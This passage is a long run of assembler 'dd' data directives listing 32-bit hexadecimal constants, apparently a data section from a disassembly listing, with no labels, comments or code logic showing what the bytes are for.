		dd 7CE0B7E4h, 0B2AAF160h, 0A55AA200h, 0A6C41DDBh, 0BAE831h
		dd 8898A8A0h, 15A32286h, 0D47C2903h, 0F0B29DE1h, 0C114997Ah
		dd 833DE30h, 53188CC7h,	0E23D3823h, 9C710FD7h, 2894C5FEh
		dd 620171Dh, 11B4BF43h,	7554DA1Ch, 14843F80h, 0C65C371Bh
		dd 209FD108h, 754D0302h, 60513A13h, 0EF815A7Dh,	63F6788Eh
		dd 0BF0CE268h, 3831C1h,	0C5EC971h, 3F4BAFD1h, 0FA9C1D00h
		dd 0B6409DC3h, 90116052h, 4CA889C4h, 38A3A230h,	1F4BC0BAh
		dd 0C3291ADAh, 0F521B5FBh, 21940830h, 0EADA435Dh, 6CC008Eh
		dd 8907F3CEh, 0B0400976h, 9A4700A0h, 935D37FCh,	663E8FEFh
		dd 83F70641h, 0A8CFE0h,	0A50B79A2h, 0F34BD1B9h,	0BF695407h
		dd 0A80348Eh, 76EBE8h, 8ACFBE0h, 63DEAB33h, 5502BC76h
		dd 67F3F8E3h, 0F2A88017h, 0D87C1Ah, 4A529BCCh, 5CF3794h
		dd 0E403EFEAh, 456D3FFAh, 88DFD06Ch, 3B480061h,	1306E3B9h
		dd 0B57D271Fh, 8784E000h, 23EE68D2h, 54881FF5h,	9D9B40B7h
		dd 0AADC1711h, 4BDB5100h, 0DC1DD4Eh, 0F2FB0036h, 6885BDE8h
		dd 0A27D93BBh, 0C61D8C01h, 9FF5D3DFh, 735E29D0h, 9765007Ch
		dd 5A463C25h, 8CC2C1Dh,	1DE2178h, 62186531h, 0D184BDF3h
		dd 8B1770D7h, 0BB825A00h, 1EABA307h, 0F67B017Fh, 5B511FBCh
		dd 2970808Dh, 5F5EA5CBh, 76A0780Ah, 0E4B01D0Fh,	4F07DED9h
		dd 68989062h, 2D002117h, 60A25C2Eh, 0EEBEBFh, 4F450FD7h
		dd 59110227h, 20C026E2h, 0CC6CF5DFh, 8820A72Eh,	0CC0EBADh
		dd 37F5A23h, 5F575C08h,	90408196h, 0EC00A8D9h, 2577CE5Dh
		dd 0DF9C5Eh, 2A5F9849h,	0EB80A993h, 899AA33h, 0E3210015h
		dd 8CE85F9Fh, 0CE00A9EAh, 9A1D5C0Fh, 14D757Ch, 8B59B1E1h
		dd 835A366Bh, 5DEB2C30h, 9C2840F2h, 59100C89h, 18D14A8Dh
		dd 0B883DA2Ah, 4324C26Fh, 1816746Ah, 86E7141h, 0BF003129h
		dd 729D7E1Ch, 7AFF7FB0h, 0FAD00B4h, 787BAC35h, 0E3286085h
		dd 0FC02C06Ah, 29CA9C03h, 0D4FC8490h, 98652660h, 11342523h
		dd 2E007392h, 0C9703965h, 0C1A2DE18h, 63610719h, 71608C36h
		dd 1019991h, 0F4316F60h, 0E4CE50EFh, 0BDEEC0BCh, 38E14430h
		dd 19AD09Ch, 130BE34Ah,	0F0D76FDFh, 3A0046F8h, 60D5BF09h
		dd 1AAE8A7h, 9C680FD4h,	8090722Ch, 9ED57E61h, 3DC81703h
		dd 0E03325CBh, 21005908h, 459ECD9Fh, 0FDBF376h,	5DCC02F8h
		dd 0AD072E80h, 0C8A11DA7h, 9200EA8Fh, 83D189DAh, 0BC83C8EBh
		dd 0DB1987A0h, 0E2E9806Eh, 8D7B50h, 0EBB4DEEFh,	48902333h
		dd 72F91808h, 0C7AB8192h, 0ED2E0901h, 3E2C25F0h, 508BC9D8h
		dd 39E2E8FDh, 0A69BBCE1h, 5BB831D1h, 58DF1BB1h,	21947182h
		dd 0F994A7C6h, 7844A043h, 0FBBF0789h, 2754D650h, 0E65CD379h
		dd 21F00830h, 0F650D421h, 8FB400A3h, 38591268h,	0F06A32C4h
		dd 0A90FC460h, 230FA98Bh, 89092260h, 402023F9h,	0B4205474h
		dd 3B189076h, 14CC2ADCh, 8C95E8h, 118F4D45h, 0A4E30283h
		dd 9F15B67h, 42150DA3h
		dd 3A88F470h, 99EBBC0h,	0CC182117h, 9D006C91h, 0FE649ED3h
		dd 9712B546h, 0E440864Eh, 1F62A31Dh, 245C228Bh,	9B378C00h
		dd 0D1F7F0AFh, 80491B8h, 0F23B8FF2h, 0DEFD741Eh, 22D09E14h
		dd 55957E76h, 98F1B0E4h, 5126457h, 0F0040D12h, 832D0C2h
		dd 2AD458B8h, 61CD13F7h, 0DC5FA728h, 448CD193h,	0AE07EA3Ch
		dd 9057A55Fh, 0F72B1CE0h, 932D040Fh, 81E5B912h,	21FFBB54h
		dd 36898014h, 2AA03009h, 32A407E6h, 702298B0h, 3399B739h
		dd 0B5950307h, 56815C10h, 4427BF28h, 0B4A71422h, 89605844h
		dd 0F800D38Fh, 0FDA199D0h, 0E12324AAh, 77FDC871h, 8ABAA420h
		dd 60D62484h, 23A26530h, 93110425h, 6538E100h, 19E46BA4h
		dd 0D8384398h, 68753299h, 694461C5h, 86C19820h,	802AD46h
		dd 9E54BB51h, 2A10E931h, 52075101h, 0DF581F1Eh,	11086F70h
		dd 88104991h, 1CCF82Ah,	0DC9D5D67h, 85A4F6A7h, 0B7209B61h
		dd 6FD66380h, 68984917h, 6B4BE8Ah, 0B067898Ah, 1830F02Eh
		dd 604C4500h, 4210688h,	82DA19A0h, 55F8C8DCh, 9461BB00h
		dd 0E34485AAh, 0D0CE53A6h, 0BA012D23h, 0B017089Eh, 9A8B6C18h
		dd 6E9040D2h, 14537C3Eh, 9C1CB03Fh, 0CC0EA114h,	61FCE022h
		dd 70632F26h, 0A3C5A903h, 2C98142Eh, 109CDCE0h,	0CC32CAF6h
		dd 0DC14250Ah, 0E34096C4h, 0CF03653Ah, 6610F70Fh, 8196586h
		dd 0B0671C88h, 4474E511h, 0BEE524EAh, 204C2A6Ch, 0D844A114h
		dd 75211437h, 5F24C819h, 20C419B4h, 318C4C08h, 9ED6048Ch
		dd 62D016FCh, 0CE602F66h, 4F50469Eh, 4842B126h,	2A43ED08h
		dd 9287012Ch, 25219547h, 8CAF082Ah, 0D5510204h,	0C4CECE54h
		dd 50DB1C09h, 3CC08077h, 5A7F840h, 8BF4D66Fh, 47B80F41h
		dd 82721510h, 1382364h,	16FF9EB9h, 886718A8h, 9E03D19Bh
		dd 0FE1EFC32h, 0C8829D5Eh, 0A9E4AE23h, 0E154985Dh, 0B7548049h
		dd 94905A26h, 0D821F713h, 0B989DCF4h, 78201277h, 529B5B1Eh
		dd 1B43DB00h, 0D624AB7Dh, 7CF103B8h, 6D732FD5h,	8062613Eh
		dd 0F9BC0472h, 7F335BBh, 50417CBAh, 16778010h, 8E00CBA0h
		dd 0CDAE902h, 1A61095Ch, 0A8878312h, 0A0FD8B80h, 1302190h
		dd 59B6A82Ah, 0E245001Eh, 984C5D3Ah, 0A0071CA5h, 94BF714h
		dd 678CEF3h, 81128E40h,	670758D0h, 0A1F6A5A2h, 1D5BC6B7h
		dd 8096115Ch, 0D7FAB930h, 3C9103BEh, 559170Ah, 1B08D29Ch
		dd 0AC7F6623h, 44981880h, 0BC6D0056h, 5F1F1A7Bh, 0F005C309h
		dd 0BF787FBEh, 1E0CC845h, 0A1E60C82h, 0A61018CCh, 2CBC7989h
		dd 3D21B481h, 0FC688125h, 164E0A8Eh, 0C04E4431h, 58C09388h
		dd 502EE2C3h, 74F11C06h, 253C0602h, 987AEB69h, 2428E948h
		dd 0D4C03C2Fh, 4617029Eh, 0FC6A22E0h, 17E7E4CCh, 2FFA5C08h
		dd 988C7350h, 87C700B0h, 4C23E458h, 812549C2h, 818BD54h
		dd 55444A45h, 1120426Bh, 0F980EB76h, 70ABA450h,	5371070Dh
		dd 0EC30A090h, 99048CCFh, 0A193275Fh, 0E4203B62h, 0AF5FA0h
		dd 70CF7675h, 0EBF63469h, 0A9669106h, 291874h, 195C14CEh
		dd 0A686B889h, 0B21A3203h, 7578D7ECh, 7028BBF8h, 0E702AD4Ah
		dd 3FF8FECDh, 81B6026h,	16D52409h, 7124138h, 45A420D3h
		dd 0E3D850FFh, 24070280h, 0C1B93A61h, 652C0540h, 2B330089h
		dd 0EA6DFE0Fh, 9614CCBBh, 6D46776h, 32B10917h, 469C9058h
		dd 0BB84CAEh, 1CE654D4h, 0DA1F00C8h, 0FE850650h, 1B028833h
		dd 0ED211D27h, 0D8040B1Ah, 0C8C8CE5Dh, 1FAEC1EDh, 1521D8EEh
		dd 68083849h, 465C5421h, 34FE00FAh, 5107F127h, 0B0C92ABh
		dd 0C0D90B28h, 0B002680Bh, 0E02E5997h, 918ACF5h, 35042AF9h
		dd 0EB281CBCh, 2530B00Dh, 5748BF59h, 789B8330h,	8C110053h
		dd 729C271Dh, 1B1C07FEh, 3A4F9296h, 0E6AA455Fh,	1600EDBCh
		dd 62FD2253h, 170E4A96h, 0E0FE81D8h, 3AF2C68Bh,	682E00F6h
		dd 0D9B75EBh, 3800F44Bh, 0ACB15776h, 0E2F5D8E8h, 0B7BB133Eh
		dd 9CBE1F94h, 1EAFC020h, 5940E851h, 0BB5F8100h,	997AF7BDh
		dd 47390371h, 3546FA78h, 0E4143CD0h, 0AB602978h, 0CE397670h
		dd 6090617Bh, 70F9EBBBh, 0FE0F6A68h, 8089B4C9h,	0C8D84C71h
		dd 0A7F0362h, 783D123Bh, 0FD4F04E0h, 0E020B109h, 0BD1E833Ah
		dd 3C0C5DCh, 736C503h, 0EFC4ECA9h, 0DEE15CBFh, 8079B460h
		dd 94EF1h, 533128D1h, 77268FACh, 0D0CEEE00h, 0A0AA0C47h
		dd 0B1F0CA6h, 0DB419863h, 4699E80Eh, 0F0D6A07Bh, 353FC9h
		dd 0B0828D9Bh, 0E77A285Ah, 0EB094606h, 30A836D9h, 5F88D459h
		dd 0B7385582h, 0CEBF9E62h, 0C815FD81h, 85E0846Eh, 0E8824C65h
		dd 6050A900h, 0AB4D7059h, 83D0C93Ch, 0F71B8B01h, 853EE8AAh
		dd 0ECF01F28h, 8F7F00CDh, 4DB91A58h, 890016ECh,	4A4EA265h
		dd 0C5DF97Eh, 5E01621Dh, 21C08708h, 0A64A4742h,	316800F9h
		dd 73259E98h, 1912A86Fh, 0E2186ABFh, 24978228h,	0F423E33h
		dd 780231Ah, 0DA848F78h, 47205760h, 6E7DE4F2h, 0E9E08812h
		dd 289CA102h, 89D180F1h, 6966C1DAh, 0FA6B00A5h,	28846CD6h
		dd 8360F6D0h, 0D5791720h, 2D95013Eh, 0EA4E2CA3h, 90888061h
		dd 3240C556h, 74D60C62h, 0D9682911h, 0EEA13360h, 2A4FE1h
		dd 34B708Ah, 31D738B2h,	0CBF23900h, 20F3B982h, 0EE90C388h
		dd 0B6D8BCC2h, 0F200261Eh, 5B3E9146h, 3C9BB74Ah, 0F100122Bh
		dd 254EAAE1h, 5C005384h, 0CB68DC97h, 627595h, 0EDC28750h
		dd 76186651h, 0AC258E00h, 0A81FAF91h, 791A39E8h, 0BEE34F00h
		dd 40965FE0h, 0FB7D5E00h, 9E90143h, 7CFC03h, 8C618118h
		dd 0C5B553ADh, 3C146000h, 2D5DE1FDh, 4081E933h,	0F7A45CB2h
		dd 61D0F0B0h, 4E58BB0Fh, 0A3BC81E2h, 189E37AFh,	306D5898h
		dd 0C66066EFh, 0B970E338h, 7A900F7h, 0D0D469C7h, 0D677203Ah
		dd 0A0B32B30h, 3C9410h,	2E8D66FCh, 0D7BF3325h, 6463A400h
		dd 312D56EAh, 7C89C66Ch, 0FF0059C3h, 0CC7EC2C1h, 825D50h
		dd 0BA324535h, 0F4751219h, 0A898CE00h, 9E1A3FEDh, 2F4200A3h
		dd 0DB405046h, 12F8E1FCh, 5547731Ch, 3638FE1Fh,	30F801h
		dd 0D91839F8h, 21FF0C5h, 0C0A718CFh, 61C95E5Ch,	0DACD0323h
		dd 0D07C935Dh, 923C9102h, 86C387BDh, 0A21D190h,	0F03BAC5Ch
		dd 245F0090h, 36B631E4h, 1BBE8A00h, 88AE0193h, 0EDC33D5Dh
		dd 0AF4B4C00h, 2176F939h, 24616F00h, 49CF5368h,	3C2018E7h
		dd 0AE3E294Ah, 8E9A1600h, 8BDE060Dh, 7C867C60h,	30FE00CBh
		dd 0A03E4852h, 0E21D6968h, 0F900E995h, 14948ED6h, 85B90377h
		dd 0B1CC1747h, 57F183F8h, 10F78703h, 0E0528AF5h, 39EDAE1h
		dd 9AB37C9Fh, 181EF6ACh, 2E00145Eh, 9988E74Ch, 6A2F0047h
		dd 15718D9Dh, 0AA3CE940h, 75CC80B2h, 0ED52B301h, 94D33C3Ah
		dd 0E94C8400h, 0EFF0DE7Bh, 0FFFBB000h, 5ED25BB1h, 90EC01D0h
		dd 5CB2EB2h, 0CC14D0A6h, 2DC5700Eh, 455A0011h, 74F2DBD0h
		dd 21E96044h, 6B2DBD9Bh, 7CA88806h, 7197FC2h, 0C57DC0D2h
		dd 0C3E7804Ch, 720130EEh, 0AFB1E015h, 0DCE05EEDh, 0B29100CCh
		dd 2E90CE36h, 0B9002592h, 811FE4A3h, 0F8D26F07h, 7CE73197h
		dd 0E0861420h, 0CC6018BDh, 6BE3EC11h, 0CE079CBh, 0D22B6512h
		dd 91670108h, 6B90EB20h, 0A86980Ah, 5BB22330h, 80BF1124h
		dd 0E3A96BE1h, 111C87FCh, 8AE26BC0h, 9229B1h, 0D3E8B2Bh
		dd 143013A8h, 37E7B580h, 30E8BC27h, 0FE13BFFh, 0A277C601h
		dd 655629CCh, 19747180h, 34FBE81Ah, 1D32E03Ah, 618750Ch
		dd 41B921h, 6279461Ah
		dd 76EF68E5h, 4BE1081Ch, 1305F03h, 7F014ABh, 0D6BC8885h
		dd 95009043h, 0CD4D625Bh, 0B30C2320h, 0B8EC1BD7h, 1A961814h
		dd 0C7ED516Fh, 3314C3Eh, 3B81CBD2h, 9480663Ch, 8F2038E9h
		dd 962501BEh, 287E10D4h, 0E88502Ch, 222C8D53h, 9403B3B5h
		dd 0A7F0A4ADh, 201106h,	9C92CAECh, 9589D339h, 7913AB30h
		dd 2415241Fh, 134C44B1h, 0D6AD00CDh, 3C81764Ah,	0F6EFE3Eh
		dd 2031AD2Bh, 1A723AE5h, 66BF0FFh, 0E798C1A2h, 4D00F18Dh
		dd 79013650h, 66BA766h,	1EB191C3h, 961520ABh, 80CC4FCCh
		dd 0FBEA1A17h, 0BED84h,	2F197FAFh, 3C952759h, 10FCF3D7h
		dd 0A49BF81h, 845BE3EDh, 54674h, 5253B981h, 965380Ch, 0BE2E1F64h
		dd 2DC4C430h, 44C2C0EBh, 9AE24486h, 1A2DBC00h, 0C880E686h
		dd 1BAC15D6h, 2B0084A5h, 0A6BE135Fh, 0CE021660h, 0D3AB6BCFh
		dd 0E4F841CCh, 2D38C618h, 44F21012h, 2DBE93B7h,	0F727C7D8h
		dd 0C63D230Ah, 0C020D470h, 0EB0EBC75h, 8CFFAB75h, 9A6E010h
		dd 59980FD6h, 0C970E80Ch, 2DE71C8Ch, 88CA110Fh,	0BF998087h
		dd 1029632Dh, 0E4018CECh, 3F56CABh, 0CC516DE6h,	0E99DCE23h
		dd 0C0D79E0Ch, 764EC1B7h, 1647469h, 5887FB78h, 27005B34h
		dd 0A5BAA83Dh, 0F0195E1Ch, 9833BF4Fh, 0C0AAB2Eh, 7FB1D5AAh
		dd 4D003020h, 6E565069h, 3E59FBh, 2B1E5339h, 1A8F1F43h
		dd 0C760D87Bh, 0C10D2740h, 1338CFA7h, 32284CA0h, 12126F15h
		dd 382FA26Eh, 84387F23h, 31FFA80Bh, 3BE42890h, 0BDC60221h
		dd 0F98457FBh, 6BDD8840h, 29091574h, 31F975Ah, 0D0E8AC36h
		dd 3989AABEh, 0CC062E04h, 61115DD7h, 91434F14h,	50633CC1h
		dd 0A8007D8Ch, 25C187FAh, 54BFE247h, 0F1598EDh,	5E63B2CAh
		dd 0AFEEC9Ch, 0FFC59D5h, 0C54DDFABh, 0B1E82028h, 0D7618B60h
		dd 1F16E57h, 1920D1F5h,	40D51BE8h, 82C57C94h, 0B0A99B28h
		dd 0B4402326h, 285B868Ch, 13D4444Bh, 17FBB100h,	0AEE43092h
		dd 5A45308Fh, 9ED43378h, 0D1651434h, 82281C32h,	61E0EE74h
		dd 0CC50A728h, 5057EFBEh, 18474C18h, 0C0D5E202h, 3364514Dh
		dd 102E18B8h, 7F005C2Dh, 16E43A11h, 7507C02Bh, 0D15B93E1h
		dd 9C885A64h, 0FB902CEFh, 0A7EE0068h, 0DC3448C1h, 9FB45303h
		dd 1533A4h, 264B5BB1h, 0FB22AEEFh, 399EDD0Fh, 0BD6CC27Ch
		dd 4CB0C47Ah, 9F803033h, 4825E904h, 0D9A91300h,	0C1B830A2h
		dd 646D0EC4h, 0A5E0EFE5h, 5EEE9850h, 2478C660h,	7C52E951h
		dd 3A752419h, 0E03D3BA0h, 4264D4A4h, 0E600AE8Ah, 24BEDD57h
		dd 0D0845586h, 9C6AFFA9h, 74088879h, 0AEC3429Bh, 0F820ED38h
		dd 0FFE2819h, 0C98309ECh, 0D4000218h, 0BFC73529h, 0E1195E40h
		dd 9801C0C8h, 46D890B0h, 1A16022Ah, 477CFBC5h, 7EAE03A0h
		dd 0A8880F19h, 0B5883011h, 0BB7B30DFh, 0FDFF9160h, 1A28A348h
		dd 41203FA6h, 40187FE0h, 0B5C78D04h, 0FF31F08Ch, 0B7F10010h
		dd 3EEA1E93h, 0DF964335h, 0F5F9A72Dh, 2E588836h, 11E07C14h
		dd 547B0586h, 14129EE4h, 0AB10CC24h, 65250277h,	2D27AA1h
		dd 9CA65A02h, 22F02886h, 1E1044h, 1BB31854h, 9AE4BDBh
		dd 9F470100h, 2FC07A0Fh, 3B4A0043h, 14059BE5h, 0A100AF6Fh
		dd 0E25432C1h, 98DDCDh,	3F8CA861h, 1526F45Ah, 0D9CF800Fh
		dd 0ABF280C5h, 2015786h, 0BD567E0Dh, 49F7996h, 28FC26D8h
		dd 0FA08970Eh, 0BE2C40A1h, 0AD43E600h, 59715E38h, 0F9480052h
		dd 976162AFh, 700E7796h, 66BD98FEh, 0ED28ACEEh,	6044FD08h
		dd 0E4714403h, 4439F744h, 5F44E088h, 4428A9AFh,	5C857988h
		dd 94089B88h, 8F18281Bh, 5D412947h, 3FEAC880h, 5B004F59h
		dd 0E7346C5Ch, 137D88FBh, 0F7059F71h, 26BE6945h, 0CD91FD01h
		dd 0B0F7B9BAh, 0C857D0h, 0EAF7B097h, 4E060C80h,	533F600h
		dd 51CBF06Eh, 7FB2F68Eh, 2E350769h, 0F1F9BC98h,	0ECCADA86h
		dd 0AF7DF50Eh, 9C38B200h, 622ED68h, 4FAB0088h, 0D0BE0755h
		dd 9E263A02h, 9900CD6Bh, 6C76446Dh, 35DD008Fh, 0B8270BAFh
		dd 0A9003C60h, 2063B0Eh, 416507h, 0FE88D95Bh, 0E5E1A3B4h
		dd 84BD407h, 55452A8Ah,	652FDC00h, 4076D5h, 0B1803BEFh
		dd 26A57C71h, 5A208A03h, 98DCB7C4h, 2EA804h, 0F0500528h
		dd 85640687h, 7DE8CA07h, 60507E89h, 0DE7C33h, 34EE84A0h
		dd 0A4C0ECA5h, 39F4AB00h, 51E74161h, 56E621h, 909E54F0h
		dd 438149AAh, 70AFE07h,	0C4006BF4h, 1237C3F9h, 45D2A419h
		dd 30B49798h, 2475454Ch, 0D10F2FF4h, 60CDAFB7h,	83E50996h
		dd 615600EFh, 907C286Bh, 0C601651Bh, 5FDBEB69h,	1DC68C0h
		dd 0BCAE0019h, 1583707Ch, 6200C221h, 0A24D8087h, 0CBD30E2h
		dd 0F91E6DC0h, 1406ED70h, 0F8D9AB0Fh, 359C0310h, 9037E6E0h
		dd 0CD116090h, 67E7EFCh, 1D9D1501h, 8E0F1CD6h, 8A1A00C7h
		dd 0CAE8F817h, 83FC89FFh, 53277800h, 0E0B680F6h, 0E35100B7h
		dd 0B8C3FD20h, 7B4B5D24h, 307B18B8h, 507427FAh,	0C93E446Eh
		dd 93E7803Fh, 0C1CC3567h, 68381F9Ah, 7B410014h,	0A204EB4Dh
		dd 0AEE9980Eh, 920A40B3h, 891CA6h, 5817A0CAh, 0C64D598Ah
		dd 497C6400h, 0CDBAAB96h, 4A1C005Eh, 0F32BDCA4h, 0A20042B4h
		dd 513CA06Fh, 434EBCh, 6A874411h, 0AEA9B077h, 3F3438h
		dd 9F09C9DBh, 97C7F5h, 0ACDFD9E4h, 0ABF027F3h, 0BCA0EF00h
		dd 99136596h, 6FAEDh, 9CE9A4AEh, 68CEFBCDh, 174FEE00h
		dd 225C088Ah, 0AE620733h, 0E07B49DCh, 707667EFh, 9688CF05h
		dd 0A801F29h, 7844FCEh,	985FC818h, 10142923h, 8CCAC40Eh
		dd 0ABB98062h, 0BBCCC3h, 0A6CE5EBEh, 5F905421h,	1B001DEEh
		dd 8750C876h, 170D360h,	0BB12D83Ch, 0C86DFE98h,	3FE0BA95h
		dd 24008A7Ah, 7AF85603h, 2EE444h, 893BF453h, 779F66FEh
		dd 3D7F277Eh, 81D3E603h, 0A8D904DDh, 0FACC3C4Dh, 1404891h
		dd 0B0FA6004h, 0F374815Ch, 20AF024Ah, 14B725B5h, 0CC823A12h
		dd 99329400h, 2663A787h, 4124A544h, 0FCCEA027h,	6226C518h
		dd 5C069701h, 7B101B1Eh, 0CB60092h, 0C3F099EDh,	16E84B78h
		dd 9C212C61h, 0C8E0DACBh, 0E298003Ah, 437E4955h, 18505975h
		dd 0DF003EA0h, 842EBDCh, 7C4C23h, 0AC4728FEh, 667D3D6Eh
		dd 71226404h, 18806D88h, 1D14D2Fh, 0ED79EE78h, 80625269h
		dd 3DE8A948h, 0C81BAFh,	9A447B1Ah, 0F8F94D76h, 0DD533E00h
		dd 0C928AAFCh, 0CE0C0FDEh, 76C0526Fh, 0EDDA34F2h, 99EC9100h
		dd 71890EEBh, 0A0EE503Ch, 7CF800F5h, 796F82D8h,	0E93AEC6Ch
		dd 5C921D20h, 14386801h, 0CEC4B0F0h, 1CBD00F8h,	868B2AD7h
		dd 60009F73h, 38BCB29Eh, 479C149h, 98F74F67h, 0A545808Fh
		dd 0F09A921Ah, 0D6B19D00h, 0B5673FBDh, 0E1D403C6h, 16FCFF22h
		dd 0F99DA5E0h, 0CB0F45E2h, 0E08A0CCEh, 42588760h, 5C017663h
		dd 0BC00FB6Eh, 6578553Ch, 5D023494h, 963EB29Dh,	673060C1h
		dd 752E88E3h, 41448E1Eh, 0BDB69F85h, 5169DEC0h,	574E1DC1h
		dd 7D5500BCh, 0DF44D26Ch, 4103BA0Ch, 964638h, 58E34907h
		dd 7067F86Fh, 796C1500h, 83BE61Ch, 0B9590E46h, 0F4C0941Ah
		dd 0E44B5C69h, 9CA16A0Fh, 0A403127Bh, 0F0FD3F2Ah, 16485A28h
		dd 47BCDEE6h, 7694D1F8h, 0F402109Dh, 37DA71BBh,	0C7F880CDh
		dd 2FA3FE3h, 0E27FC2CAh, 9043C81Ch, 0CA493BF9h,	35B878C0h
		dd 0F46EA300h, 0EC52C087h, 0C7940073h, 806FE57Ch, 200AAF61h
		dd 0F0F80633h, 3D509700h, 1AFF90h, 0A3D07235h, 77EC2BD4h
		dd 5758F703h
		dd 0A8ED3EF0h, 0D2793Ah, 0AB2AFB68h, 932B0445h,	128FD003h
		dd 0F8A77781h, 89CFA8h,	0AAC4C77Dh, 99D79EA5h, 0FC3B7012h
		dd 7F964B00h, 0F41B3Ah,	23148DA9h, 54036077h, 0E821DE00h
		dd 0A16258A0h, 0AC9A00E4h, 57D4CA1Dh, 95000DCEh, 98690A2Ah
		dd 0A958C7h, 0ADF0BFB5h, 0C4F181Fh, 8A52CB01h, 0EC46E181h
		dd 3D127EF8h, 0E400BEC8h, 31BC7FAFh, 170F3E65h,	2711048Eh
		dd 5F900EB7h, 0F3A6616h, 0D9F62532h, 8B9E471Dh,	2054606Dh
		dd 0B4008CD7h, 24B9D30Dh, 12A5B1Fh, 512C1C96h, 0C01B78BDh
		dd 76000369h, 8248628Bh, 3949886h, 0D2BC2021h, 4DF8E166h
		dd 90139DD8h, 401C515h,	0DB65B18Fh, 1FDCBFD0h, 0CE02406Bh
		dd 2200A51Ah, 1B385484h, 88122707h, 0A8709307h,	7BCF963Ch
		dd 0A12C0A03h, 0BC7BDAh, 26C9AA74h, 0B800BB9Ch,	0EB373E3Ah
		dd 2443CF2Eh, 249B58h, 0D5410B8Dh, 64B0FE34h, 0D6549100h
		dd 0D7407703h, 0C3D25897h, 0FB2AC400h, 0A1649646h, 4A90A300h
		dd 97589F3Fh, 4FBE00E0h, 0D6CF85C6h, 0FA005CB7h, 0C305FC7h
		dd 2116C0h, 7971FC3Ah, 8B44F931h, 97AE3F13h, 0E25DB400h
		dd 5B26C1h, 4C046493h, 8BA38374h, 9747BF00h, 9A51B20Fh
		dd 171600E8h, 2172A56Ah, 0C9260798h, 5F8008BFh,	0E6478E3h
		dd 580B00C6h, 3F06529h,	0F8B90639h, 0DC66D980h,	78A06A73h
		dd 273E00ABh, 0BA7E3846h, 800F1C1h, 0EA45F76Eh,	0A20FE2h
		dd 8F826CDCh, 60D854C5h, 0BBC7CE39h, 4531809Ch,	11784AAAh
		dd 69FA000Dh, 7012ECB7h, 8900DDD9h, 48297F6Bh, 99972Ch
		dd 450E4B19h, 4E5E9C0Ah, 6A3EAD07h, 6B57AB7Fh, 0A401736Fh
		dd 0E32CFBB9h, 0D4669E40h, 0BD4E0014h, 180E274Bh, 5E0FE751h
		dd 8129Dh, 5FDFF671h, 1CBB8DCh,	0A0BBFB84h, 0C73AEB51h
		dd 0DB7435B8h, 0AE41423Ah, 0E8050EAh, 7ACDE6D4h, 7ED6A0A8h
		dd 3DBF0237h, 6A12B142h, 3B9F42C0h, 5CCF6300h, 0EBB3BA40h
		dd 7A0B1E0Dh, 46CCC056h, 24075583h, 92572E00h, 5E8F4D78h
		dd 507200F1h, 0AB9453BCh, 440FC53Dh, 97E693F3h,	0F9240Bh
		dd 0AFD9BC2Ch, 0E067B0BFh, 0A0DE07AEh, 60ACFE6Eh, 0ED2DEB40h
		dd 0E353C201h, 0D7BF4F6h, 583946C8h, 71009419h,	0ECABD5D4h
		dd 91009D6Fh, 5AA161C8h, 3B60Bh, 0C5A9C364h, 0DD77E013h
		dd 2E071501h, 0F6245DD1h, 611C9863h, 0D4ABC023h, 0B864AD89h
		dd 0CBB34F04h, 3A80E210h, 0E20F1788h, 304A014Ch, 0FAFED7F2h
		dd 0EC11D84Fh, 3660F805h, 4F803F39h, 38499D2Dh,	0A51F6325h
		dd 89FB9D80h, 0D48099A6h, 0AC7F40DBh, 0AC87FA38h, 71000AD6h
		dd 0CCD424F5h, 0B44818F9h, 19C5320Eh, 0F38AED04h, 0C490131Eh
		dd 0BAE42Bh, 8ED73794h,	73C5C8BDh, 0F498AD51h, 0BA800746h
		dd 0A0050457h, 808E59F4h, 13D34DD8h, 0D414A400h, 6EE8EFA6h
		dd 0F77801E7h, 8D43F24Ch, 4143808h, 0B0D51C3Ah,	1C00884h
		dd 3F0F4467h, 9000497Ch, 269353E8h, 2A01D0D4h, 0B897B5D2h
		dd 0A5D08FF9h, 0B7C50074h, 7E196AFDh, 57B0D0D1h, 0E3061500h
		dd 0C833E09Eh, 2F5700BCh, 8855F7BDh, 26043273h,	164A03Dh
		dd 5D02887h, 0A57B47h, 0DB20877Eh, 261269CAh, 40356A00h
		dd 1063AF0h, 5DF15844h,	98ED3400h, 6FE7C63Dh, 0DA1B6400h
		dd 4C6637DDh, 50F402F1h, 0C2B1D92Ah, 0B0C794CBh, 0BD10179Ch
		dd 7FFF0900h, 0E337D095h, 0C20C090h, 0A6FC03Bh,	5400B84Ah
		dd 0BE2C59BCh, 0B4310F96h, 0EF400911h, 0DD4B5F12h, 504A6505h
		dd 0D080228Fh, 1C9632Eh, 0D8E7743Ch, 0E0CAC5E5h, 4C003B4Dh
		dd 0A0108320h, 0F6D1A60h, 8858B0EBh, 35C0A1C0h,	970044E4h
		dd 8C097C78h, 532386h, 94FDF3ACh, 75DD491Dh, 9B00747Ch
		dd 2C5EBAD9h, 0B693DAh,	8AE5D08Eh, 9E01F462h, 31872900h
		dd 0C1B033C5h, 0DB6E3A90h, 4E38AC00h, 63E09610h, 0E5B97707h
		dd 73002E36h, 15B56EBh,	3B3C214h, 604741D4h, 0CA0042D5h
		dd 0DBDE7E99h, 0BC2C1Dh, 21B0D2A1h, 72A252F7h, 5680AD00h
		dd 0C6D68DCFh, 585B0012h, 67403060h, 640728BDh,	463E69F2h
		dd 0BB135C10h, 0EC745Eh, 9D7C808Ah, 0DA66D450h,	0A1C64017h
		dd 82F58701h, 5AD07054h, 0BBBA0029h, 7E265BB4h,	9503F8D9h
		dd 6E93E578h, 9F2BF0B1h, 0E90D00F6h, 0F98D3AFCh, 7E00C317h
		dd 0B17D4DE3h, 119A72h,	15C55F56h, 0E5868BF6h, 90023B8h
		dd 0E0EE7BA2h, 0D69DA6h, 0A765AE9Fh, 0E358CC0Eh, 0A8667600h
		dd 0C63AE6EDh, 0BCB60396h, 0E9086A3Ch, 923DCFF0h, 0F9F21800h
		dd 0F76DDD45h, 479F39E8h, 6A7ABC0Fh, 206E0052h,	0E7C5AD6Bh
		dd 22DC9B00h, 4A5B2138h, 0B9DF0E36h, 0FFA06C9Ah, 279ECE7Ch
		dd 1E1FE42Eh, 0BEB8003Ch, 13D249D5h, 124E0025h,	0C2376F61h
		dd 0B3037257h, 73A605B1h, 788889DAh, 0AFA1DCh, 14CB58F3h
		dd 0A820DD37h, 69C6AE01h, 40FD031h, 98011887h, 83473024h
		dd 0EE0178B1h, 0D7967476h, 0AAE8E416h, 1D85003Eh, 0E8829A3h
		dd 0AB606923h, 45CF8249h, 0CC7706D4h, 40B0FB6Bh, 0BCC04A00h
		dd 0EE32236h, 24EB4h, 0FAD17682h, 10C0FF8Dh, 8993A59Bh
